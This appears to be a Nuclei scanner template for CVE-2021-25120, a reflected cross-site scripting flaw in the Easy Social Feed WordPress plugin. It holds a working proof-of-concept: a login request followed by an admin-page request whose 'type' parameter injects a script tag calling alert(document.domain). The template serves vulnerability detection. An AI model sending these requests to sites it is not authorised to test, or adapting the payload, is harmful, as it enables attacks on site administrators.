nuclei-templates/http/cves/2021/CVE-2021-25120.yaml

62 lines
2.1 KiB
YAML
Raw Normal View History

id: CVE-2021-25120
2022-02-19 11:38:31 +00:00
info:
name: Easy Social Feed < 6.2.7 - Cross-Site Scripting
2022-02-19 11:38:31 +00:00
author: dhiyaneshDk
severity: medium
description: Easy Social Feed < 6.2.7 is susceptible to reflected cross-site scripting because the plugin does not sanitize and escape a parameter before outputting it back in an admin dashboard page, leading to it being executed in the context of a logged admin or editor.
2023-09-06 12:09:01 +00:00
remediation: |
Update to Easy Social Feed version 6.2.7 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/6dd00198-ef9b-4913-9494-e08a95e7f9a0
- https://wpscan.com/vulnerability/0ad020b5-0d16-4521-8ea7-39cd206ab9f6
- https://nvd.nist.gov/vuln/detail/CVE-2021-25120
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25120
cwe-id: CWE-79
2023-10-14 11:27:55 +00:00
epss-score: 0.00141
epss-percentile: 0.49591
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:easysocialfeed:easy_social_feed:*:*:*:*:pro:wordpress:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: easysocialfeed
product: easy_social_feed
2023-09-06 12:09:01 +00:00
framework: wordpress
2023-07-11 19:49:27 +00:00
tags: cve,cve2021,wordpress,wp-plugin,xss,authenticated,wpscan
2022-02-19 11:38:31 +00:00
http:
2022-02-19 11:38:31 +00:00
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=easy-facebook-likebox&access_token=a&type=</script><script>alert(document.domain)</script> HTTP/1.1
2022-02-19 11:38:31 +00:00
Host: {{Hostname}}
cookie-reuse: true
2023-07-11 19:49:27 +00:00
2022-02-19 11:38:31 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
- "'type' : '</script><script>alert(document.domain)</script>'"
2022-02-19 11:38:31 +00:00
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a0047304502202555d09293a8f4f4e4cfbc7c7f45f44e6dd2d87eed28e20599cc796fb641069d022100c6275ecf4a3c845db73663b87743efd8d2560e92a84942e284df3fbc1e08bc85:922c64590222798bb761d5b6d8e72950